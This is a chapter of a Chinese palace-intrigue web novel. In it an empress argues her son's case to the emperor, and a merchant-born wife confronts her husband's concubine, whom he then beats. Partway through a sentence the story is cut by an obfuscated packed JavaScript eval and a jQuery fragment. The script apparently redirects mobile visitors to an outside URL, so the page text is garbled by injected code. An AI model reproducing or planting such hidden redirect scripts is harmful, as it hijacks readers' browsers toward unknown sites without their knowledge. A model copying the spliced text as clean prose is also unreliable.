79. 伴君

“陛下。”裴后抬头看向承德帝。


眼前的帝王卸去了头顶的帝冕和身上的龙袍,只着一身明黄内衫。明亮的灯火下,他眼角的皱纹露出深深的褶皱,发丝也泛着白。


她知道,他们已经不再年轻,百年之后的夺嫡之战,只怕很快就要上演。


“陛下,”裴后露出一个浅笑:“幼时臣妾旁听父亲上课时,记得他曾说过一句话——这天下,是天下人的天下。”


裴太傅原先被先帝安排去给皇子们上课,授业解惑,裴后偶尔也会跑去旁听。


提起裴太傅,承德帝脸上浮起怀念的神色,当初他立李玄宸为太子前,威逼利诱裴太傅辞官回乡。


也许称不上威逼利诱,承德帝只是带着裴太傅和还是孩童的李玄宸微服出宫,回宫后的第二日,裴太傅称病未来上朝,第三日,裴太傅请辞的折子就摆到了他的御案上。


他是裴太傅最得意的弟子,所学皆是由裴太傅亲自教导。他在想什么,想做什么,裴太傅看得一清二楚,他甚至还未曾承诺过立太子之事,恩师就给了他一个满意的答复。


承德帝有些唏嘘,裴氏是百年大族,在大周的地位举重若轻,也是出于此等考虑,他才把流着裴氏血脉的李玄宸立为太子。


裴后浑然不知承德帝此刻在想什么,她只是淡淡道:“皇位本就该能者居之,若玄宸连护住皇位的能力都没有,他又如何能护得住天下人!”


承德帝抬眼看向裴后,她目光平视,眼神坚毅。


他知道,自己这位皇后人品贵重,她是裴氏这一辈最出挑的女子,不仅仅是因为她的才学性情,更因为她的坚韧和坦诚。执掌后宫的这些年,她秉公处事,不偏不倚,从未因为个人喜好为难后宫里的妃嫔和宫人,只有这样的女子,才能教出一个合格的储君。


“这事,你可曾问过玄宸?”承德帝的表情十分冷淡,看不出什么情绪。


裴后轻笑一声,他还是不相信玄宸,他亲自挑选的太子。


伴君如伴虎,即使她是皇后,依旧不能得到他完全的信任,更何况是作为他的继承者的李玄宸呢?


“玄宸对待弟弟妹妹如何,陛下您不会不知。”裴后敛起心绪,继续道:“玄锦是他疼爱的妹妹,他又如何忍心以她的性命换取皇位。”


长信侯府。


一场突如其来的争吵打破了往日的宁静。


孙氏带着萧渐露,直接闯进郑姨娘的庭院。


“郑术心!你到底是什么意思!”孙氏说着,一脚踹开郑姨娘的房门。


生下萧渐露以后,孙氏逐渐变得丰腴,力气也大了。再加上她是名义上的二房夫人,二房的下人不敢拦她,眼睁睁地看着她直接踹开郑姨娘的房门。


屋里,郑姨娘和萧昌盛衣衫半解,卧在床上。


门被推开时,郑姨娘只来得及拉下床幔,半镂空的床幔隐隐透出里头二人的身形。


孙氏顾不得里头白日宣淫,直接踏门而入,但她进门后便把房门关上了,把外头的下人连同萧渐露,一同关在门外。


“你做什么?”好事被打断的萧昌盛语气不耐,他随手抓起落在床下的衣裳披上,而后掀开床幔下了床。


在他的印象里,孙氏向来唯唯诺诺,嫁入侯府之后,处处小心翼翼,说好听些她为人谨慎,说难听些,他觉得孙氏胆小如鼠。


把郑姨娘抬回来后,他眼睁睁地看着郑姨娘一步一步试探孙氏的底线,而后把她踩在脚底,却无动于衷。他看着郑姨娘在孙氏的头上作威作福,心中升起一阵隐秘的快感。


当初,若不是余老太君非要让他娶了孙氏这个商贾之女,他说不定能得到哪位大人的青睐,成为东床快婿,或许他也能在官场上大有一番作为,而非日日囿于后院,借酒消愁。


他把对余老太君的恨意,全都转移到孙氏的身上,任由他的结发妻子在自己家中举步维艰。


孙氏今日第一次正眼看着眼前的夫君,他看不起她出身于商贾之家,她不在意,娘家虽无地位,却怕她被人看轻,给她带了丰厚的嫁妆给她撑腰。


他任由郑姨娘踩在她的头上,她也不在意,左右这个侯府二房夫人毫无用处,除了给她的女儿一个嫡小姐的身份,什么用处也没有,郑姨娘眼红,便由她去了。


商人以和为贵,她便退一步,再退一步。


可他们千不该万不该,不该伤害她的女儿。


“我怎么了?”孙氏抬高了声音,“你不如问问她!”


“老爷,妾身什么都不知道呀。”郑姨娘趁着二人对峙的时候,穿上了衣裳,她娇弱地躲在萧昌盛的身后,软着声音道:“姐姐,你是不是误会了什么呀?”


“呵呵,”孙氏冷笑一声,再开口时声音变得又娇又软,学着郑姨娘的模样道:“那萧渐露,说是嫡女,也不看看她配不配得上,一个商贾之女,还妄图跟京城里真正的嫡女们争奇斗艳,真是不知天高地厚!”


“这话是你说的吧?”孙氏一改往日的懦弱,此刻她眼神如冰,直直地刺向躲在萧昌盛身后的郑姨娘身上。


郑姨娘有些傻眼,她好像确实说过这些话,但又有些微不同。她是瞧不起孙氏商贾出身,也记恨萧渐露占了嫡女的身份,让她的洲儿成为庶子,可她并未对外说过嫡女一事。


因为她知道,萧昌盛这一辈子,最听不得的就是嫡庶二字。


“你当真说过此话?”萧昌盛一把抓起她的手臂,将人从自己身后拉出来。


“没有呀老爷,妾身没有啊!”郑姨娘看着萧昌盛盛怒之下的脸,一时间吓得哆哆嗦嗦,连话也说不稳:“我、我没说过呀。”


“是没说过露儿,还是没说过嫡女?”孙氏沉声道,她特意加重了语气。


“我没——”


不等郑姨娘解释,萧昌盛的巴掌便落在了她的脸上。


萧昌盛的力气很大,一个“嫡”字深深地刺痛了他的脑子,带着怒气的巴掌落下后,郑姨娘的


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239680|151226||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


脸上立刻浮起一个鲜红的巴掌印。


“贱人!”萧昌盛一把将郑姨娘推倒在地,眼睛四处寻找趁手的凶器,目光落在粉瓷瓶里插着的枝条上,他立刻拿了过来。


枝条上还带着水,水滴在空中划过一道弧线,而后连同枝条一同落在郑姨娘的身上。


门外。


萧渐露垂着头,眼神却在四处寻觅。


若她记得没错,郑姨娘当初宣称那女子是她兄长的女儿,接进侯府是为了同萧渐洲培养感情。


长信侯府怎么说也是功勋之家,对于进入府里的外人检查十分严格。


因着郑姨娘这层关系,当初这个“表小姐”是直接一顶软轿抬进郑姨娘的院子,如此一来倒是躲过了检查。


屋里头传来争执的声音,萧渐露看着院中站着的下人,忍不住提醒道:“还愣着干嘛,快去找人来帮忙劝架呀。”


主子们吵架,下人们哪敢劝架。有伶俐的下人连忙去请萧渐洲,其余人也四散开来,生怕被萧渐露抓过去劝架。


可惜那位“表小姐”并未现身。


萧渐露沉思,今日她故意在孙氏面前哭红了眼,又半遮半掩地让侍女说出她受委屈的真相,就是想着能让孙氏带着她来郑姨娘的院子,借机把“表小姐”引出来,好让她确认那“表小姐”究竟是不是画像上的人。


郑姨娘确实说过那些贬低她的话,只是她不在意,平日里听就听了,左右不过是些污言秽语,她从未放在心上。


她知道,娘亲最在意的人是她,便把这些话抖到孙氏的面前,让母亲替她找回公道。


否则,以她的身份,实在不便进入郑姨娘的院子里。


事情如她所料地发展,只是对不住母亲,让她知道了那些话,平白添堵。


半晌后,那位“表小姐”还未出现。


萧渐露的目光扫过西厢房,而后落在东厢房的门上。西厢房是侍女们住的屋子,想必那位“表小姐”并不在此。


“谁?”门后传来一个女子的声音。那声音坚毅冷淡,还带着一丝寒意,并不像一个普通百姓家养出来的女子,反倒更像行走江湖之人。


萧渐露深吸一口气,刻意软了声音道:“是表妹吗?我母亲好像与你姑姑发生了一些争执,你能不能帮忙劝劝她们?”


这个理由实在蹩脚,好在那女子还需要维持自己“表小姐”的身份,她没有直接拒绝,而是低声咳了两声,而后道:“露姐姐,我得了风寒,会传染了,实在是不便出门,你还是快去找我表兄吧。咳咳。”


不论萧渐露怎么劝,那女子就是不出门。她转念一想,又道:“妹妹,我听着你的声音有些沙哑,是不是生病伤了喉咙?”


“我这里有些润喉的药丸,你先拿去吃吧。”


许是不想再跟萧渐露纠缠,那女子很快打开房门,她以白纱覆面,只露出眼睛和额头,眉心那粒朱砂小痣烫红了萧渐露的眼。


“那就谢过露姐姐。”